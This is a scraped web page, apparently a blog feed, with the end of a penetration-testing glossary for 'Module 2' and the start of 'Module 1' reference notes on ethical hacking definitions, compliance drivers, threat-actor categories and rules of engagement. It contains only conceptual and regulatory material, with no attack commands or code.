&lt;p&gt;&lt;strong&gt;IMDS — Instance Metadata Service&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
An AWS service that provides information about EC2 instances. Can be exploited via SSRF vulnerabilities to obtain AWS credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inherent Risk&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The level of risk that exists before any security controls are applied.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IP — Intellectual Property&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Intangible creations of the human intellect, including patents, trademarks, copyrights, and trade secrets. Penetration testers may encounter client IP during engagements and must protect it appropriately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ISA — Internal Security Assessor&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A PCI DSS role — an individual certified by the PCI SSC to conduct self-assessments of their own organization's PCI DSS compliance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ISM — Information Security Manager&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A management role responsible for implementing and managing day-to-day information security operations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ISSA — Information Systems Security Association&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A professional organization for cybersecurity professionals with its own Code of Ethics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ITAR — International Traffic in Arms Regulations&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
U.S. regulations controlling the export of defense-related articles and services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JAB — Joint Authorization Board&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The primary governing body of FedRAMP, composed of CIOs from DoD, DHS, and GSA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kill Switch&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The pre-agreed emergency stop procedure for immediately halting a penetration test.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LOA — Letter of Authorization&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A specific document explicitly authorizing a named party to conduct penetration testing on defined systems within a defined timeframe.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MSA — Master Service Agreement&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A contract establishing the general terms and conditions governing the overall business relationship between a service provider and a client, under which individual SOWs are executed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MTBF — Mean Time Between Failures&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The average time between system failures. An SLA metric.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MTTR — Mean Time to Repair&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The average time required to restore a failed system. An SLA metric.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NDA — Non-Disclosure Agreement&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A legally binding contract establishing a confidential relationship between parties, prohibiting disclosure of specified information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NIST — National Institute of Standards and Technology&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A U.S. federal agency that develops technology, metrics, and standards. NIST publishes the Special Publication (SP) 800 series — the most widely referenced cybersecurity standards and guidelines.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NIST RMF — Risk Management Framework&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
NIST SP 800-37: A structured process for integrating security and risk management into the system development life cycle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NIST SP 800-57&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
NIST Special Publication 800-57: "Recommendation for Key Management." Provides guidance on cryptographic key management practices and standards.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NIST SP 800-115&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
NIST Special Publication 800-115: "Technical Guide to Information Security Testing and Assessment." The primary NIST guidance document for penetration testing methodology.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NPI/NPPI — Nonpublic Personal Information&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Under GLBA, any personally identifiable financial information that is not publicly available. Includes account numbers, Social Security numbers, income, and financial history.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OCTAVE — Operationally Critical Threat, Asset, and Vulnerability Evaluation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A risk-based strategic assessment methodology developed at Carnegie Mellon University.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PAN — Primary Account Number&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The 16-digit (or variable-length) number embossed on a payment card. The most sensitive piece of cardholder data under PCI DSS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PCI DSS — Payment Card Industry Data Security Standard&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The set of security standards established by the PCI Security Standards Council to protect cardholder data. Applies to all organizations that store, process, or transmit cardholder data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PCI SSC — PCI Security Standards Council&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The organization founded by major card brands (Visa, Mastercard, Amex, Discover, JCB) that maintains the PCI DSS and certifies QSAs, PFIs, and ISAs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PFI — PCI Forensic Investigator&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A company certified by the PCI SSC to conduct forensic investigations of payment card data breaches.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PHI — Protected Health Information&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Under HIPAA, any individually identifiable health information held by a covered entity or its business associates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PII — Personally Identifiable Information&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Any information that can be used to identify a specific individual. The definition varies by jurisdiction and regulation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Purple Team&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A collaborative security exercise where red team (offensive) and blue team (defensive) work together simultaneously to maximize learning and improve both attack simulation and detection capabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;QSA — Qualified Security Assessor&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A company and individual certified by the PCI SSC to perform PCI DSS compliance assessments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Team&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A group of security professionals who simulate adversarial attacks on an organization using real-world tactics, techniques, and procedures (TTPs) to test the organization's defenses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Residual Risk&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The risk that remains after security controls have been applied.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Risk Appetite&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The level of risk an organization is willing to accept in pursuit of its objectives.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Risk Tolerance&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The acceptable variation in outcomes relative to the stated risk appetite.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ROE — Rules of Engagement&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A document defining the specific technical and procedural parameters within which a penetration test will be conducted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ROI — Return on Investment&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A measure of the profitability or value of an investment relative to its cost. In security, ROI of penetration testing is calculated by comparing risk reduction value to the cost of the engagement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RPO — Recovery Point Objective&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The maximum acceptable amount of data loss measured in time, defining how far back in time a recovery must go.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RTO — Recovery Time Objective&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The maximum acceptable time to restore a system or service after a disruption.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SAQ — Self-Assessment Questionnaire&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A PCI DSS validation tool for merchants and service providers permitted to self-assess their compliance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SDLC — Software Development Life Cycle&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The process of planning, creating, testing, deploying, and maintaining software. Security testing (including penetration testing) should be integrated into the SDLC.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shared Responsibility Model&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The division of security responsibilities between a cloud provider and its customers. The provider secures the cloud infrastructure; the customer secures what they put in the cloud.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SLA — Service Level Agreement&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A contract between a service provider and a client defining the expected level of service, including response times, availability, and performance metrics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SLE — Single Loss Expectancy&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The monetary value expected to be lost in a single occurrence of a risk event. Calculated as: SLE = Asset Value × Exposure Factor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOC — Security Operations Center&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A centralized unit that employs people, processes, and technology to continuously monitor and improve an organization's security posture while preventing, detecting, analyzing, and responding to cybersecurity incidents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOC 2 — System and Organization Controls 2&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
An AICPA auditing procedure for service organizations that assesses controls relevant to the Trust Services Criteria: Security, Availability, Processing Integrity, Confidentiality, and Privacy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOW — Statement of Work&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A formal document describing the specific work to be performed, deliverables, timeline, and compensation for a specific engagement. Operates within the framework of the MSA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOX — Sarbanes-Oxley Act&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
U.S. federal law requiring publicly traded companies to maintain adequate internal controls over financial reporting. Section 404 is most relevant to IT security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSRF — Server-Side Request Forgery&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A web application vulnerability where the server is manipulated into making requests to unintended locations, potentially exposing cloud instance metadata or internal services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Threat Intelligence&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Evidence-based knowledge about existing or emerging threats to assets, including context, mechanisms, indicators, implications, and actionable advice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tokenization&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The process of replacing sensitive data (such as PAN) with a non-sensitive substitute (a token) that retains the data format but has no exploitable value.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TTP — Tactics, Techniques, and Procedures&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The behavior patterns of threat actors. Tactics are high-level objectives; techniques are the methods used to achieve them; procedures are the specific implementations. The MITRE ATT&amp;amp;CK framework catalogs TTPs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Truncation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The removal of segments of sensitive data so that only a portion is retained and stored. Under PCI DSS, only the first six and last four digits of a PAN may be displayed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Uptime SLA&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A contractual commitment to a specific percentage of service availability (e.g., 99.9% = approximately 8.7 hours of downtime per year; 99.99% = approximately 52 minutes per year).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VPN — Virtual Private Network&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
An encrypted tunnel over a public network that creates a private network connection. Used in penetration testing to provide testers with internal network access for internal assessments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A weakness in a system, process, application, or control that can be exploited by a threat actor to gain unauthorized access or cause harm.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;White Box Testing&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A penetration testing methodology in which the tester is provided with comprehensive documentation about the target environment, including network diagrams, configurations, and potentially source code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WISP — Written Information Security Program&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A comprehensive, documented security program required by certain regulations (GLBA Safeguards Rule). Defines the organization's security policies, procedures, and controls.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zero-Day&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A vulnerability that is unknown to the software vendor and for which no patch exists. Particularly dangerous because defensive tools and signatures do not yet exist for it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;— End of Module 2: Planning and Scoping a Penetration Testing Assessment —&lt;/em&gt;&lt;/p&gt;




</description>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>software</category>
      <category>security</category>
    </item>
    <item>
      <title>Module 1: Ethical Hacking &amp; Penetration Testing — Professional Reference Notes</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Tue, 28 Jul 2026 12:16:13 +0000</pubDate>
      <link>https://dev.to/rencberakman/module-1-ethical-hacking-penetration-testing-professional-reference-notes-3bbc</link>
      <guid>https://dev.to/rencberakman/module-1-ethical-hacking-penetration-testing-professional-reference-notes-3bbc</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;A comprehensive, industry-grade knowledge base built from the Cisco Networking Academy "Ethical Hacker" curriculum, expanded with professional terminology, frameworks, tools, cloud concepts, career roles, and real-world practices used across the cybersecurity industry. This document is structured module-by-module, mirroring the official course outline, but goes significantly beyond it to provide the depth required for mid/senior-level practitioner readiness.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Module 1: Introduction to Ethical Hacking and Penetration Testing&lt;/li&gt;
&lt;li&gt;Module 2: Planning and Scoping a Penetration Testing Assessment&lt;/li&gt;
&lt;li&gt;Module 3: Information Gathering and Vulnerability Scanning&lt;/li&gt;
&lt;li&gt;Module 4: Social Engineering Attacks&lt;/li&gt;
&lt;li&gt;Module 5: Exploiting Wired and Wireless Networks&lt;/li&gt;
&lt;li&gt;Module 6: Exploiting Application-Based Vulnerabilities&lt;/li&gt;
&lt;li&gt;Module 7: Cloud, Mobile, and IoT Security&lt;/li&gt;
&lt;li&gt;Module 8: Performing Post-Exploitation Techniques&lt;/li&gt;
&lt;li&gt;Module 9: Reporting and Communication&lt;/li&gt;
&lt;li&gt;Module 10: Tools and Code Analysis&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  MODULE 1: Introduction to Ethical Hacking and Penetration Testing
&lt;/h1&gt;

&lt;h2&gt;
  
  
  1.0 Introduction
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.0.1 Why This Module Matters
&lt;/h3&gt;

&lt;p&gt;Before a security professional can run a single scan or write a single exploit, they must understand the &lt;strong&gt;legal, ethical, procedural, and conceptual foundation&lt;/strong&gt; that separates a criminal hacker from a paid security professional. This single distinction — &lt;em&gt;authorization&lt;/em&gt; — is the most important concept in the entire field of offensive security. Every tool, technique, and methodology covered in later modules is meaningless (and illegal) without it.&lt;/p&gt;

&lt;p&gt;This module establishes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What ethical hacking and penetration testing actually are (and are not)&lt;/li&gt;
&lt;li&gt;The business and risk-management reasons organizations pay for these services&lt;/li&gt;
&lt;li&gt;The different categories of threat actors and how they differ from ethical hackers&lt;/li&gt;
&lt;li&gt;The formal methodologies/frameworks that govern professional engagements&lt;/li&gt;
&lt;li&gt;How to build a safe, legal, isolated lab environment to practice in&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.0.2 Module Objectives Mapped to Course Topics
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Topic&lt;/th&gt;
&lt;th&gt;Goal&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Understanding Ethical Hacking and Penetration Testing&lt;/td&gt;
&lt;td&gt;Explain the importance of ethical cyber attacks and penetration testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exploring Penetration Testing Methodologies&lt;/td&gt;
&lt;td&gt;Explain different penetration testing methodologies and frameworks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Setting Up Your Own Lab&lt;/td&gt;
&lt;td&gt;Configure a virtual machine for your penetration testing learning experience&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  1.1 Understanding Ethical Hacking and Penetration Testing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1.1 Core Definitions
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Hacking&lt;/strong&gt; (neutral definition): The act of identifying and exploiting weaknesses in a computer system or network to gain access to data, functionality, or resources that were not intended to be accessible. The term itself is morally neutral — &lt;em&gt;intent and authorization&lt;/em&gt; determine whether an act is criminal or professional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ethical Hacking&lt;/strong&gt;: The practice of using the same tools, techniques, and mindset as malicious attackers (black-hat hackers), but doing so &lt;strong&gt;legally, with explicit written permission&lt;/strong&gt;, for the purpose of identifying and helping remediate security weaknesses before criminals can exploit them. Ethical hackers are also called &lt;strong&gt;White-Hat Hackers&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Penetration Testing (Pen Testing / PenTest)&lt;/strong&gt;: A formal, authorized, simulated cyberattack against a computer system, network, web application, or organization, performed to evaluate the security of the system. Penetration testing is a &lt;em&gt;subset&lt;/em&gt; of ethical hacking — it is the structured, scoped, contractually-defined engagement type, whereas "ethical hacking" is the broader philosophy/discipline.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Assessment (VA)&lt;/strong&gt;: A related but distinct discipline — the process of identifying, quantifying, and prioritizing (ranking) vulnerabilities in a system, typically via automated scanning, &lt;strong&gt;without actively exploiting&lt;/strong&gt; them. A penetration test goes further by attempting to exploit findings to prove real-world impact.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Term&lt;/th&gt;
&lt;th&gt;Goal&lt;/th&gt;
&lt;th&gt;Exploitation?&lt;/th&gt;
&lt;th&gt;Depth&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability Assessment&lt;/td&gt;
&lt;td&gt;Find &amp;amp; list weaknesses&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Broad, shallow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Penetration Testing&lt;/td&gt;
&lt;td&gt;Prove exploitability &amp;amp; impact&lt;/td&gt;
&lt;td&gt;Yes (controlled)&lt;/td&gt;
&lt;td&gt;Narrow, deep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Red Teaming&lt;/td&gt;
&lt;td&gt;Simulate full adversary campaign, test detection/response&lt;/td&gt;
&lt;td&gt;Yes, stealthy&lt;/td&gt;
&lt;td&gt;Very deep, organization-wide&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bug Bounty&lt;/td&gt;
&lt;td&gt;Crowdsourced vulnerability discovery&lt;/td&gt;
&lt;td&gt;Sometimes&lt;/td&gt;
&lt;td&gt;Varies, continuous&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security Audit&lt;/td&gt;
&lt;td&gt;Compliance/policy/configuration review&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Broad, document-driven&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  1.1.2 Why Do We Need to Do Penetration Testing?
&lt;/h3&gt;

&lt;p&gt;Organizations invest in penetration testing for several converging business and technical reasons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Proactive Risk Identification&lt;/strong&gt; — Find and fix vulnerabilities before adversaries (criminal hackers, nation-state actors, insiders) exploit them. This is the core value proposition of offensive security: &lt;em&gt;cost of a controlled, friendly breach simulation is always cheaper than the cost of a real breach.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regulatory &amp;amp; Compliance Requirements&lt;/strong&gt; — Many laws, standards, and frameworks mandate periodic penetration testing:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PCI DSS&lt;/strong&gt; (Payment Card Industry Data Security Standard) — Requirement 11.3 mandates annual and post-change penetration testing for any organization that stores, processes, or transmits cardholder data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HIPAA&lt;/strong&gt; (Health Insurance Portability and Accountability Act) — U.S. healthcare data protection law; encourages risk assessments including penetration testing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GDPR&lt;/strong&gt; (General Data Protection Regulation) — EU data protection law; Article 32 requires "regular testing, assessing and evaluating the effectiveness" of security measures.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SOC 2&lt;/strong&gt; (System and Organization Controls 2) — Trust Services Criteria audit common for SaaS companies; often requires evidence of pen testing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ISO/IEC 27001&lt;/strong&gt; — International information security management standard; Annex A controls reference technical vulnerability management and testing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NIST 800-53 / FedRAMP&lt;/strong&gt; — U.S. federal government and cloud-service-provider security control frameworks requiring "Security Assessment" (CA family controls), including penetration testing for cloud authorization (ATO — Authority to Operate).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NYDFS Cybersecurity Regulation (23 NYCRR 500)&lt;/strong&gt; — New York State financial regulation requiring annual penetration testing.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Insurance Requirements&lt;/strong&gt; — Cyber-insurance underwriters increasingly require proof of regular security testing to issue or renew policies, and may reduce premiums for organizations with mature testing programs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validating Defensive Controls&lt;/strong&gt; — Confirms that firewalls, IDS/IPS, EDR, SIEM, and detection/response processes actually work as intended ("trust but verify").&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Third-Party / Supply Chain Assurance&lt;/strong&gt; — Enterprise customers (especially in B2B SaaS) routinely require vendors to provide a recent penetration test report before signing contracts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Incident Preparedness&lt;/strong&gt; — A pentest engagement often doubles as a tabletop exercise, testing whether the Security Operations Center (SOC) and Incident Response (IR) team detect and respond to the simulated attack.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reputation and Trust Protection&lt;/strong&gt; — A public breach can permanently damage brand trust and stock price; testing is a preventive investment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mergers &amp;amp; Acquisitions (M&amp;amp;A) Due Diligence&lt;/strong&gt; — Acquiring companies often commission penetration tests of target companies' infrastructure before finalizing a deal.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  1.1.3 Threat Actors
&lt;/h3&gt;

&lt;p&gt;Understanding &lt;em&gt;who&lt;/em&gt; you are defending against (and who an ethical hacker is emulating) is essential. Threat actors are categorized by motivation, skill level, and resources.&lt;/p&gt;

&lt;h4&gt;
  
  
  Classification by Hat Color (Hacker Culture Terminology)
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;White Hat&lt;/strong&gt;: Authorized, ethical security professional. Works &lt;em&gt;for&lt;/em&gt; the organization or with explicit consent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Black Hat&lt;/strong&gt;: Malicious, unauthorized attacker motivated by personal gain, ideology, or destruction.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Grey Hat&lt;/strong&gt;: Operates without authorization but typically without malicious intent — e.g., finds and discloses a vulnerability without permission, sometimes for recognition or to pressure a vendor to fix it. Still &lt;strong&gt;illegal&lt;/strong&gt; in most jurisdictions even if well-intentioned.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blue Hat (sometimes "Blue Team")&lt;/strong&gt;: Often refers to external security consultants invited to test systems before launch (Microsoft's "BlueHat" conferences), or more broadly to defensive security practitioners.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Red Hat&lt;/strong&gt;: Aggressive vigilantes who actively attack black-hat infrastructure (rare term, less standardized).&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Classification by Type/Motivation
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Threat Actor&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Typical Motivation&lt;/th&gt;
&lt;th&gt;Skill Level&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Script Kiddie&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Uses pre-built tools/scripts without deep understanding&lt;/td&gt;
&lt;td&gt;Thrill, bragging rights&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hacktivist&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Politically/socially motivated attacker (e.g., Anonymous)&lt;/td&gt;
&lt;td&gt;Ideology, activism&lt;/td&gt;
&lt;td&gt;Varies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cybercriminal (Organized Crime)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Profit-driven, often part of organized groups; ransomware gangs, carding rings&lt;/td&gt;
&lt;td&gt;Financial gain&lt;/td&gt;
&lt;td&gt;Medium–High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Insider Threat&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Current/former employee, contractor, or partner misusing legitimate access&lt;/td&gt;
&lt;td&gt;Revenge, financial gain, negligence&lt;/td&gt;
&lt;td&gt;Varies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nation-State / APT (Advanced Persistent Threat)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;State-sponsored groups with significant funding and patience (e.g., APT28/Fancy Bear, APT29/Cozy Bear, Lazarus Group)&lt;/td&gt;
&lt;td&gt;Espionage, sabotage, geopolitical advantage&lt;/td&gt;
&lt;td&gt;Very High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cyberterrorist&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Seeks to cause fear, disruption, or harm for ideological/political ends via critical infrastructure attacks&lt;/td&gt;
&lt;td&gt;Ideology, terror&lt;/td&gt;
&lt;td&gt;Varies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Competitor / Corporate Spy&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Industrial espionage to steal trade secrets/IP&lt;/td&gt;
&lt;td&gt;Financial/competitive gain&lt;/td&gt;
&lt;td&gt;Medium–High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Gray Hat Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthorized but non-malicious vulnerability discovery&lt;/td&gt;
&lt;td&gt;Recognition, curiosity&lt;/td&gt;
&lt;td&gt;Medium–High&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Key APT/Threat Intel Concepts
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;TTPs (Tactics, Techniques, and Procedures)&lt;/strong&gt;: The behavioral "fingerprint" of a threat actor — used to attribute attacks and build detections. Cataloged formally in the &lt;strong&gt;MITRE ATT&amp;amp;CK Framework&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IOC (Indicator of Compromise)&lt;/strong&gt;: Forensic artifact (hash, IP, domain, registry key) showing a system was compromised.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IOA (Indicator of Attack)&lt;/strong&gt;: Behavior-based signal showing an attack is in progress (more proactive than IOC).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kill Chain&lt;/strong&gt;: A staged model of how attacks progress (see Lockheed Martin Cyber Kill Chain in 1.2).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Threat Intelligence (CTI)&lt;/strong&gt;: The discipline of collecting and analyzing information about threat actors to inform defense; sourced from feeds like MITRE ATT&amp;amp;CK, MISP, commercial vendors (Recorded Future, Mandiant, CrowdStrike Falcon Intelligence).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.1.4 The Ethical Hacker's Code: Rules of Engagement (RoE)
&lt;/h3&gt;

&lt;p&gt;A penetration test is &lt;strong&gt;only legal&lt;/strong&gt; when governed by an explicit, signed agreement defining:&lt;/p&gt;

